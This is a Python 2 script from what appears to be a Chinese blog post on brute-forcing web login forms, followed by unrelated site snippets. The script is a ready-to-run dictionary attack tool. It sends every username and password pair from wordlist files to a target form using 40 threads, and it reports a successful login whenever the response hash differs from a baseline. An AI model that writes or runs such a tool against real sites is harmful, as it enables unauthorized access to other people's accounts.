#!/usr/bin/env python
# -*- coding: utf-8 -*-
import hashlib
import requests
from Queue import Queue
import threading
from optparse import OptionParser
from time import sleep
lock = threading.Lock()
queue = Queue()
result = []
class FormBlast(threading.Thread):
"""docstring for FormBlast"""
def __init__(self, *arg):
super(FormBlast, self).__init__()
(options,args,queue) = arg
self.url = options.url
self.fname = options.fname
self.fpass = options.fpass
self.args = args
self.queue = queue
self.s = requests.Session()
self.base_md5 = ''
def get_payload(self, vname, vpass):
dict2 = {}
if self.args:
for x in self.args:
(key,value) = x.split('=')
dict2[key] = value
dict1 = {self.fname: vname, self.fpass: vpass}
payload = dict(dict1, **dict2)
return payload
def get_md5(self, html):
md5 = hashlib.md5()
md5.update(html)
return md5.hexdigest()
def get_base_md5(self):
proxy = {
'http': 'http://127.0.0.1:8080'
}
payload = self.get_payload('1', '1')
resp = self.s.post(self.url, data=payload)
resp.coding = resp.apparent_encoding
html = resp.text
self.base_md5 = self.get_md5(html)
def run(self):
# global result
self.get_base_md5()
while not self.queue.empty():
(user,pwd) = self.queue.get().split(':')
payload = self.get_payload(user,pwd)
try:
resp = self.s.post(self.url, data=payload, timeout=10)
resp.coding = resp.apparent_encoding
code = resp.status_code
html = resp.text
curr_md5 = self.get_md5(html)
if curr_md5 != self.base_md5 and code==200:
s = "[Ok] User:%s Pass:%s" % (user,pwd)
result.append(s)
lock.acquire()
print s
lock.release()
self.queue.task_done()
else:
error = "[Error] User:%s Pass:%s" % (user,pwd)
lock.acquire()
print error
lock.release()
self.queue.task_done()
except requests.exceptions.ConnectTimeout:
self.queue.put(user+':'+pwd)
except:
pass
# print self.result
def get_content(filename):
data = []
with open(filename) as f:
lines = f.readlines()
for line in lines:
data.append(line.strip())
return data
def get_queue(list1, list2):
for user in list1:
for pwd in list2:
queue.put(user+':'+pwd)
def main():
parser = OptionParser()
parser.add_option('-u','--url',dest='url',
help='Get target url')
parser.add_option('-n','--fname',dest='fname',
help='The user name in the form')
parser.add_option('-p','--fpass',dest='fpass',
help='The pass name in the form')
parser.add_option('-L','--namefile',dest='namefile',default='namefile.txt',
help='The user name dictionary files')
parser.add_option('-P','--passfile',dest='passfile',default='passfile.txt',
help='The password dictionary files')
(options,args) = parser.parse_args()
if options.url and options.fname and options.fpass and options.namefile and options.passfile:
users = []
pwds = []
users = get_content(options.namefile)
pwds = get_content(options.passfile)
get_queue(users, pwds)
for x in xrange(1,41):
blast = FormBlast(options, args, queue)
blast.setDaemon(True)
blast.start()
queue.join()
sleep(3)
print "########################################"
for x in result:
print x
else:
parser.print_help()
if __name__ == '__main__':
main()
Python实现表单爆破
最后编辑于 :
©著作权归作者所有,转载或内容合作请联系作者
- 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
- 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
- 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
推荐阅读更多精彩内容
- 准备工作 首先是准备工作,导入需要使用的库,读取并创建数据表取名为loandata。 import numpy a...
- 一. 实际需求 之前这篇文章kettle-自动生成周报 是使用java开源ETL工具kettle实现,正常情况下是...
- 在input元素上使用的所有验证选项 1.必填项 验证某个表单输入是否已填写,只要在输入字段元素上添加HTML5标...